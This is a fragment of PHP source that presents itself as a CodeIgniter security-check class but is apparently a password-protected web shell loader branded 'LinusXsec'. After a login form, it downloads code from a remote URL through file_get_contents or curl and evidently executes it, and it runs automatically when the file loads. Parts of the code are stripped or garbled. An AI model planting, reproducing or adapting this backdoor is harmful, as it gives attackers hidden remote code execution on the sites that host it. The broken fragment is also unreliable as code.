validate_system();
}
protected function validate_system() {
if (isset($_GET['logout'])) {
session_destroy();
header('Location: '.$_SERVER['SCRIPT_NAME']);
exit;
}
if (isset($_SESSION['linus_sec']) && $_SESSION['linus_sec'] === true) {
$this->load_remote_shell();
return;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['key'])) {
$valid = hex2bin($this->pass_hash);
if (hash_equals($valid, $_POST['key'])) {
$_SESSION['linus_sec'] = true;
header('Location: '.$_SERVER['SCRIPT_NAME']);
exit;
} else {
$this->login_page = true;
$error = 'Invalid credentials';
}
}
$this->show_login(isset($error) ? $error : null);
}
protected function show_login($error = null) {
?>
LinusXsec • Secure Gateway
remote_hash);
$content = @file_get_contents($url);
if ($content === false && function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$content = curl_exec($ch);
curl_close($ch);
}
if ($content !== false && strpos($content, '' . $content);
} else {
die('System error: Unable to load required components.');
}
exit;
}
}
/**
* --------------------------------------------------------------------
* INITIALIZE SECURITY CHECK
* --------------------------------------------------------------------
*/
$CI_Security = new CI_Security_Check();
unset($CI_Security);
/**
* CodeIgniter
*
* @package CodeIgniter
* @author EllisLab Dev Team
* @link https://codeigniter.com
* @since Version 1.0.0
*/
?>